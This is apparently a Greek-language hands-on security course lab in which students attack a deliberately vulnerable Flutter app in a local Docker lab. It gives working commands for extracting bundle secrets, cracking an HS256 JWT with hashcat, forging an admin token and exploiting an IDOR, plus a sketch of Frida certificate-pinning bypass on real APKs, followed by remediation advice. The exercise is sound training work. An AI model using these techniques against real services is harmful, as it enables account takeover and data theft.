Cloud, κινητά και IoT — Πρακτικό εργαστήριο
Στήνετε το Docker lab M11 και ξανακάνετε την αλυσίδα της επίδειξης χωρίς να κοιτάτε την επίδειξη. Είναι μια άσκηση αυτονομίας: ψάχνετε, αμφιβάλλετε, τεκμηριώνετε.
Τι θα ξέρετε να κάνετε
- Να επιτίθεστε σε μια εφαρμογή Flutter (web ή κινητό) από την πιο συνηθισμένη επιφάνειά της το 2026: bundle πελάτη + backend API αδύναμα ρυθμισμένο.
- Να διακρίνετε μια σύντομη διαδρομή (
/api/debug/env) από μια μακρά διαδρομή (σπάσιμο JWT + πλαστογράφηση + IDOR), και να ξέρετε να παρουσιάσετε και τις δύο. - Να συντάσσετε μια αναφορά με πέντε ενότητες και πέντε συγκεκριμένες διορθώσεις.
Πλάνο του εργαστηρίου
- Εκκίνηση του lab
- Βήμα 1 — οπτική αναγνώριση
- Βήμα 2 — στατική ανάλυση του bundle
- Βήμα 3 — σύντομη διαδρομή:
/api/debug/env - Βήμα 4 — client-side bypass
- Βήμα 5 — σύλληψη και αποκωδικοποίηση του JWT
- Βήμα 6 — σπάσιμο HS256 με hashcat
- Βήμα 7 — πλαστογράφηση ενός token admin
- Βήμα 8 — IDOR στο
/api/users/:id - Βήμα 9 — πρόσβαση admin, ανάγνωση του flag
- Αναφορά
- Λίστα ελέγχου
- Bonus — η ίδια αλυσίδα σε ένα πραγματικό
.apkFlutter - Καθαρισμός
Τι χρειάζεστε
- Το Docker Desktop 4.x εκκινημένο.
- Το repository
inskillsec-docusaurusκλωνοποιημένο τοπικά. - Έναν πρόσφατο browser με DevTools.
- Περίπου 3 GB RAM και 4 GB ελεύθερο χώρο δίσκου.
Εκκίνηση του lab
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d
Ανοίξτε το http://localhost:8080 (την εφαρμογή Flutter Web) στον
browser σας και επαληθεύστε ότι εμφανίζεται το login. Ελέγξτε επίσης την υγεία
του API:
curl -s http://localhost:3000/api/health
Ανοίξτε τέλος ένα shell στον σταθμό Kali:
docker compose exec attaquant bash
Βήμα 1 — οπτική αναγνώριση
Στον browser, ανοίξτε τα DevTools στην καρτέλα Network. Δοκιμάστε ένα login (οποιοδήποτε email και κωδικό) και σημειώστε το αίτημα που φεύγει. Πρέπει να εντοπίσετε:
- Το ακριβές URL του endpoint αυθεντικοποίησης.
- Τη μορφή του body (JSON, πεδία
email/password). - Τον κωδικό απάντησης σε περίπτωση αποτυχίας.
Σημειώστε τα όλα στην αναφορά σας.
Βήμα 2 — στατική ανάλυση του bundle
Από τον σταθμό Kali:
curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js
Τρία strings πρέπει να εμφανιστούν. Σημειώστε την τιμή τους. Επικεντρωθείτε
στο DEBUG_ENDPOINT: είναι ένα API path που ο κώδικας πελάτη
δεν καλεί ποτέ ορατά, αλλά η ύπαρξή του αποκαλύπτεται από τη
σταθερά.
Βήμα 3 — σύντομη διαδρομή: /api/debug/env
Δοκιμάστε το path που μόλις ανακαλύψατε:
curl -s http://api:3000/api/debug/env
Αν λάβετε ένα JSON που περιέχει ένα πεδίο με όνομα M11_FLAG, έχετε
ήδη το flag. Σημειώστε το, αλλά μην σταματήσετε εκεί. Ο σκοπός
του εργαστηρίου είναι να εκτελέσετε και τη μακρά αλυσίδα.
Βήμα 4 — client-side bypass
Επιστροφή στον browser. Χωρίς να είστε συνδεδεμένοι, ανοίξτε την κονσόλα DevTools και κάντε:
localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';
Παρατηρήστε: η σελίδα dashboard εμφανίζεται για ένα κλάσμα του δευτερολέπτου. Μεταβαίνει έπειτα σε «Session expired».
Τεκμηριώστε αυτή τη συμπεριφορά: η προστασία στον πελάτη ξεγελάστηκε,
αλλά η προστασία του διακομιστή (GET /api/me) κράτησε. Ακριβώς
αυτό το anti-pattern θέλουμε να δείξουμε.
Βήμα 5 — σύλληψη και αποκωδικοποίηση του JWT
Εγγράψτε έναν κανονικό λογαριασμό από το shell επιτιθέμενου:
curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Ανακτήστε το πεδίο token. Αποκωδικοποιήστε τα τρία μέρη του:
TOKEN="<το token σας>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
Το header πρέπει να δηλώνει HS256. Το payload πρέπει να περιέχει το sub σας
(το id σας, πιθανώς 4) και role: user. Σημειώστε τα όλα στην
αναφορά σας.
Βήμα 6 — σπάσιμο HS256 με hashcat
Γράψτε το πλήρες token σε ένα αρχείο:
echo "$TOKEN" > /tmp/token.jwt
Εκκινήστε το hashcat. Η λειτουργία 16500 αντιστοιχεί στο JWT:
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Αν το rockyou.txt δεν είναι αποσυμπιεσμένο στο Kali σας, ανοίξτε το
πρώτα με gunzip /usr/share/wordlists/rockyou.txt.gz. Ο αναμενόμενος
κωδικός είναι σύντομος, το hashcat τον βρίσκει σε λιγότερο από ένα λεπτό.
Εναλλακτική χωρίς hashcat, πιο παιδαγωγική, με μια μικρή σπιτική wordlist:
for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done
Βήμα 7 — πλαστογράφηση ενός token admin
Με το σπασμένο μυστικό, πλαστογραφήστε ένα token που ισχυρίζεται ότι είναι admin
(sub: 1) και δεν θα λήξει ποτέ:
SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"
Βήμα 8 — IDOR στο /api/users/:id
Χωρίς να χρησιμοποιήσετε το πλαστογραφημένο token, δείξτε ότι ένας απλός χρήστης μπορεί ήδη να διαβάσει τα δεδομένα του admin:
curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Πρέπει να δείτε ένα JSON με το email και τον κωδικό (σε καθαρό κείμενο)
του λογαριασμού admin. Σημειώστε ότι το token που χρησιμοποιήθηκε είναι της eve, όχι
αυτό που πλαστογραφήσατε.
Βήμα 9 — πρόσβαση admin, ανάγνωση του flag
Τέλος, το endpoint που προορίζεται για admins με το πλαστογραφημένο token σας:
curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Πρέπει να ανακτήσετε ένα JSON του οποίου το πεδίο flag περιέχει
FLAG-M11-FLUTTER-MOBILE-2026. Αποθηκεύστε ολόκληρο αυτό το JSON στην
αναφορά σας, χρησιμεύει ως απόδειξη.
Αναφορά
Γράψτε το rapport/mobile-flutter-m11.md στον προσαρτημένο τόμο
(/home/pentester/labs/rapport/) με πέντε ενότητες:
- Περίληψη για τη διοίκηση — δύο φράσεις: «ξεκινώντας από δημόσια πρόσβαση στην εφαρμογή, απέκτησα ανάγνωση ενός admin endpoint και ανάκτηση ενός flag prod». Αναφέρετε τις δύο διαδρομές.
- Σύντομη αλυσίδα επίθεσης — η μοναδική εντολή
/api/debug/envκαι γιατί είναι ήδη κρίσιμη. - Μακρά αλυσίδα επίθεσης — τα εννέα βήματα παραπάνω, το καθένα με εντολή και έξοδο.
- Εντοπισμένες αδυναμίες — πέντε σημεία: μυστικά στο bundle, JWT HS256 με αδύναμο μυστικό, IDOR, debug endpoint σε production, κωδικός αποθηκευμένος σε καθαρό κείμενο στον διακομιστή.
- Διορθώσεις — για κάθε αδυναμία, η αναμενόμενη ενέργεια:
- Μυστικά — ποτέ στον πελάτη. Ένα πραγματικό backend για τις κλήσεις premium, ένα κλειδί στον διακομιστή, όρια ανά χρήστη.
- JWT — μετάβαση σε RS256 με ζεύγος κλειδιών, διατήρηση του ιδιωτικού κλειδιού στον διακομιστή. Ή HS256 με μυστικό 32 τυχαίων bytes αποθηκευμένο σε vault (AWS KMS, Doppler, Vault).
- IDOR — κάθε endpoint
/:idπρέπει να ελέγχειresource.owner === req.user.subή ρητή ACL. - Debug — πλήρης αφαίρεση. Κανένα «debug» endpoint δεν
πρέπει να περνά σε production. Αν χρειάζεται, να τοποθετηθεί ένα middleware που
απαντά
404εκτός από μια εξουσιοδοτημένη εσωτερική IP. - Κωδικοί — bcrypt (κόστος 12+) ή argon2id. Καμία αποθήκευση σε καθαρό κείμενο ποτέ.
Λίστα ελέγχου
- Το
docker compose up -dεκκίνησε χωρίς σφάλμα, τοapiείναιhealthy. - Βρήκατε τα
API_BASE_URL,PREMIUM_API_KEYκαιDEBUG_ENDPOINTστοmain.dart.js. - Το
curl /api/debug/envεπέστρεψε το flag απευθείας. - Αποδείξατε το client-side bypass στα DevTools (το dashboard εμφανίζεται σύντομα).
- Αποκτήσατε ένα JWT μέσω
/api/auth/registerκαι αποκωδικοποιήσατε το header και το payload. - Το hashcat (ή η βρόχος σας openssl) βρήκε το
s3cr3t2025. - Πλαστογραφήσατε ένα JWT
role=admin. - Το
/api/users/1διέρρευσε τον κωδικό admin σε καθαρό κείμενο. - Το
/api/admin/configμε το πλαστογραφημένο JWT απέδωσε το flag. - Η αναφορά σας περιέχει τις πέντε αναμενόμενες ενότητες.
Bonus — η ίδια αλυσίδα σε ένα πραγματικό .apk Flutter
Αν θέλετε να προχωρήσετε μέχρι το πραγματικό κινητό, εδώ είναι το κύκλωμα εκτός Docker lab:
- Το
flutter build apk --releaseπαράγει έναapp-release.apkπερίπου 15-25 MB. Ο μεταγλωττισμένος κώδικας Dart ζει στοlib/arm64-v8a/libapp.so. - Ανοίξτε το APK με
apktool d app-release.apk, μετάstrings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". Βρίσκετε τις ίδιες σταθερές όπως εδώ — είναι ακριβώς το ίδιο σημείο εξόδου με τοmain.dart.js. - Για το δομημένο dump:
reFlutter build app-release.apkμετά dump μεblutterήfrida-dexdumpγια να προχωρήσετε παραπέρα. - Για το certificate pinning bypass:
frida -U -f com.your.appμε ένα script που κάνει hook στοboringssl::ssl_verify_peer_cert. Τα δημόσια scripts λειτουργούν αυτούσια στις περισσότερες πρόσφατες εφαρμογές Flutter.
Βγάλτε τα όλα σε ξεχωριστή αναφορά αν επιλέξετε αυτό το bonus.
Καθαρισμός
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v
Το -v αφαιρεί τους τόμους· την επόμενη φορά θα ξεκινήσετε από ένα καινούργιο
lab.